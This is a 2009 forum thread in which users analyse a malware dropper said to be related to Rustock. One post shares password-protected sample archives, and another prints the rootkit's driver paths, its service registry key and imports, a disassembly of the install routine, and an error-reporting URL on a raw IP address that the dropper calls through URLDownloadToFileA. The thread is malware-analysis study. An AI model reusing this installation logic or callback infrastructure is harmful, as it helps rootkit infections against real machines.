hypa Posted September 26, 2009 Share Posted September 26, 2009 (edited) I've already took apart the dropper, but I just want to see if anyone here can unpack what it drops. I wont say anything else, interested in feedback.zip pass = infectedGodLike.zip Edited September 26, 2009 by hiya Link to comment Share on other sites More sharing options...
STRELiTZIA Posted September 28, 2009 Share Posted September 28, 2009 (edited) The malware install and load rootkit in the following paths:[Paths]\\127.0.0.1\admin$\system32\drivers\Random_Name.sysX:\WINDOWS\system32\drivers\Random_Name.sys[Rootkit registry key][HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\Random_Name.sys]"Type"=dword:00000001"Start"=dword:00000001"ErrorControl"=dword:00000000"ImagePath"=hex(2):5c,00,3f,00,3f,00,5c,00,43,00,3a,00,5c,00,57,00,49,00,4e,00,\ 44,00,4f,00,57,00,53,00,5c,00,73,00,79,00,73,00,74,00,65,00,6d,00,33,00,32,\ 00,5c,00,64,00,72,00,69,00,76,00,65,00,72,00,73,00,5c,00,63,00,32,00,66,00,\ 35,00,65,00,64,00,32,00,65,00,2e,00,73,00,79,00,73,00,00,00"DisplayName"="Random_Name.sys"ImagePath : \??\C:\WINDOWS\system32\drivers\c2f5ed2e.sysImagePath : 5c3f3f5c433a5c57494e444f57535c73797374656d33325c647269766572735c63326635656432652e737973Kernel mode Thread Created : Random_Name.sys[.text][Rootkit Imports]DbgPrint IoAttachDevice ExRaiseAccessViolation IofCallDriver KePulseEvent NtQueryInformationFile NtCreateFile ExAllocatePoolWithQuota ZwClose IoDeleteDevice ExRaiseException IoFreeIrp NtOpenProcess KeNumberProcessorsh t t p://81.29.242.20/test/err.php?err=%srsc33CDF2DA[c2f5ed2e.sys] Rootkit attached with password : infected------------004010A6 BE 59154000 MOV ESI,xyyy.00401559004010AB BF CC7B4000 MOV EDI,xyyy.00407BCC004010B0 AD LODS DWORD PTR DS:[ESI]004010B1 85C0 TEST EAX,EAX004010B3 74 17 JE SHORT xyyy.004010CC004010B5 50 PUSH EAX004010B6 FF15 46104000 CALL DWORD PTR DS:[<&kernel32.LoadLibraryA>] ; kernel32.LoadLibraryA004010BC 56 PUSH ESI004010BD 50 PUSH EAX004010BE FF15 42104000 CALL DWORD PTR DS:[<&kernel32.GetProcAddress>] ; kernel32.GetProcAddress004010C4 AB STOS DWORD PTR ES:[EDI]004010C5 AC LODS BYTE PTR DS:[ESI]004010C6 84C0 TEST AL,AL004010C8 ^ 75 FB JNZ SHORT xyyy.004010C5004010CA ^ EB E4 JMP SHORT xyyy.004010B0004010CC BE 09154000 MOV ESI,xyyy.00401509 ; ASCII "rsc33CDF2DA"004010D1 56 PUSH ESI004010D2 FF15 0C7C4000 CALL DWORD PTR DS:[407C0C] ; kernel32.GlobalFindAtomA004010D8 66:85C0 TEST AX,AX004010DB 0F85 62010000 JNZ xyyy.00401243004010E1 56 PUSH ESI004010E2 FF15 107C4000 CALL DWORD PTR DS:[407C10] ; kernel32.GlobalAddAtomA004010E8 FF15 CC7B4000 CALL DWORD PTR DS:[407BCC] ; kernel32.GetVersion004010EE 3C 05 CMP AL,5004010F0 0F82 0C010000 JB xyyy.00401202004010F6 50 PUSH EAX004010F7 E8 EF010000 CALL xyyy.004012EB004010FC 85C0 TEST EAX,EAX004010FE 75 60 JNZ SHORT xyyy.0040116000401100 58 POP EAX00401101 3C 06 CMP AL,600401103 0F82 00010000 JB xyyy.0040120900401109 6A 00 PUSH 00040110B 6A 00 PUSH 00040110D 6A 00 PUSH 00040110F 68 C5124000 PUSH xyyy.004012C500401114 6A 00 PUSH 000401116 6A 00 PUSH 000401118 FF15 E07B4000 CALL DWORD PTR DS:[407BE0] ; kernel32.CreateThread0040111E BE F87A4000 MOV ESI,xyyy.00407AF800401123 68 00010000 PUSH 10000401128 56 PUSH ESI00401129 6A 00 PUSH 00040112B FF15 D87B4000 CALL DWORD PTR DS:[407BD8] ; kernel32.GetModuleFileNameA00401131 C70406 22000000 MOV DWORD PTR DS:[ESI+EAX],2200401138 6A 00 PUSH 00040113A 6A 00 PUSH 00040113C 68 F47A4000 PUSH xyyy.00407AF4 ; ASCII "/c """00401141 68 DA144000 PUSH xyyy.004014DA ; ASCII "cmd.exe"00401146 68 D4144000 PUSH xyyy.004014D4 ; ASCII "runas"0040114B 6A 00 PUSH 00040114D FF15 D47B4000 CALL DWORD PTR DS:[407BD4] ; shell32.ShellExecuteA00401153 83F8 20 CMP EAX,2000401156 ^ 72 E0 JB SHORT xyyy.0040113800401158 6A 00 PUSH 00040115A FF15 D07B4000 CALL DWORD PTR DS:[407BD0] ; kernel32.ExitProcess00401160 0F31 RDTSC00401162 89C5 MOV EBP,EAX00401164 C1C5 10 ROL EBP,1000401167 31D5 XOR EBP,EDX00401169 6A 50 PUSH 500040116B 68 F87A4000 PUSH xyyy.00407AF800401170 FF15 F87B4000 CALL DWORD PTR DS:[407BF8] ; kernel32.GetSystemDirectoryA00401176 55 PUSH EBP00401177 68 F87A4000 PUSH xyyy.00407AF80040117C 68 BF144000 PUSH xyyy.004014BF ; ASCII "%s\drivers\%0.8x.sys"00401181 68 487B4000 PUSH xyyy.00407B4800401186 FF15 E87B4000 CALL DWORD PTR DS:[407BE8] ; USER32.wsprintfA0040118C BE F87A4000 MOV ESI,xyyy.00407AF800401191 55 PUSH EBP00401192 68 91144000 PUSH xyyy.00401491 ; ASCII "\\127.0.0.1\admin$\system32\drivers\%0.8x.sys"00401197 56 PUSH ESI00401198 FF15 E87B4000 CALL DWORD PTR DS:[407BE8] ; USER32.wsprintfA0040119E 83C4 0C ADD ESP,0C004011A1 6A 00 PUSH 0004011A3 6A 00 PUSH 0004011A5 6A 02 PUSH 2004011A7 6A 00 PUSH 0004011A9 6A 00 PUSH 0004011AB 68 00000040 PUSH 40000000004011B0 56 PUSH ESI004011B1 FF15 EC7B4000 CALL DWORD PTR DS:[407BEC] ; kernel32.CreateFileA004011B7 83F8 FF CMP EAX,-1004011BA 75 1F JNZ SHORT xyyy.004011DB004011BC 6A 00 PUSH 0004011BE 6A 00 PUSH 0004011C0 6A 02 PUSH 2004011C2 6A 00 PUSH 0004011C4 6A 00 PUSH 0004011C6 68 00000040 PUSH 40000000004011CB 68 487B4000 PUSH xyyy.00407B48004011D0 FF15 EC7B4000 CALL DWORD PTR DS:[407BEC] ; kernel32.CreateFileA004011D6 83F8 FF CMP EAX,-1004011D9 74 35 JE SHORT xyyy.00401210004011DB 89C6 MOV ESI,EAX004011DD 68 00640000 PUSH 6400004011E2 68 F4164000 PUSH xyyy.004016F4004011E7 56 PUSH ESI004011E8 FF15 F07B4000 CALL DWORD PTR DS:[407BF0] ; kernel32._lwrite004011EE 56 PUSH ESI004011EF FF15 F47B4000 CALL DWORD PTR DS:[407BF4] ; kernel32._lclose004011F5 E8 3E010000 CALL xyyy.00401338004011FA 85C0 TEST EAX,EAX004011FC 74 19 JE SHORT xyyy.00401217004011FE 31F6 XOR ESI,ESI00401200 EB 1A JMP SHORT xyyy.0040121C00401202 BE 3C144000 MOV ESI,xyyy.0040143C ; ASCII "invalid_os_version"00401207 EB 13 JMP SHORT xyyy.0040121C00401209 BE 4F144000 MOV ESI,xyyy.0040144F ; ASCII "not_enought_privilegies"0040120E EB 0C JMP SHORT xyyy.0040121C00401210 BE 67144000 MOV ESI,xyyy.00401467 ; ASCII "create_driver_file_fail"00401215 EB 05 JMP SHORT xyyy.0040121C00401217 BE 7F144000 MOV ESI,xyyy.0040147F ; ASCII "load_driver_error"0040121C 85F6 TEST ESI,ESI0040121E 74 23 JE SHORT xyyy.0040124300401220 BF F87A4000 MOV EDI,xyyy.00407AF800401225 56 PUSH ESI00401226 68 E2144000 PUSH xyyy.004014E2 ; ASCII "http://81.29.242.20/test/err.php?err=%srsc33CDF2DA"0040122B 57 PUSH EDI0040122C FF15 E87B4000 CALL DWORD PTR DS:[407BE8] ; USER32.wsprintfA00401232 83C4 0C ADD ESP,0C00401235 6A 00 PUSH 000401237 6A 00 PUSH 000401239 57 PUSH EDI0040123A 57 PUSH EDI0040123B 6A 00 PUSH 00040123D FF15 087C4000 CALL DWORD PTR DS:[407C08] ; urlmon.URLDownloadToFileA00401243 6A 00 PUSH 000401245 FF15 D07B4000 CALL DWORD PTR DS:[407BD0] ; kernel32.ExitProcess------------Rootkit.rar Edited September 28, 2009 by STRELiTZIA Link to comment Share on other sites More sharing options...
hypa Posted October 7, 2009 Author Share Posted October 7, 2009 (edited) Yeah it was suppose to be the Rustock.c dropper. Someone said the driver has a really advanced mutation. Doesn't look like the right rootkit. Edited October 7, 2009 by hiya Link to comment Share on other sites More sharing options...
Recommended Posts
Create an account or sign in to comment
You need to be a member in order to leave a comment
Create an account
Sign up for a new account in our community. It's easy!
Register a new accountSign in
Already have an account? Sign in here.
Sign In Now